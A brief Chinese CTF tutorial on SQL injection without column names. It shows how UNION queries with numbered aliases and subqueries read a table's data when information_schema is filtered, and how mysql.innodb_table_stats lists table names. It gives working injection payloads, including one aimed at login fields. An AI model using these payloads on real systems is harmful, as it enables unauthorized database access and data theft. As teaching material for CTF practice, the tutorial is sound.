CTF常用sql注入（三）无列名注入

0x06 无列名

适用于无法正确的查出结果，比如把information_schema给过滤了

join

联合

select * from users;

select 1,2,3 union select * from users;

列名被替换成了1,2,3，
我们再利用子查询和别名查

select `2` from (select 1,2,3 union select * from users)a;

继续加大难度，不用反引号

select b from (select 1 as a,2 as b,3 as c union select * from users)u;

同时查询多个列

select concat(b,0x7e,c) from (select 1 as a,2 as b,3 as c union select * from users)u;

已知表名为flaga

password=\&username=,username=(select a from (select 1,2 as a,6 union select * from flaga limit 1,1)u)#

成功

0x07 InnoDb引擎

也是针对or的过滤来查询表名

innodb_index_stats和innodb_table_stats表

例句，缺点就是只能查表，配合无列名查询一起食用

(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#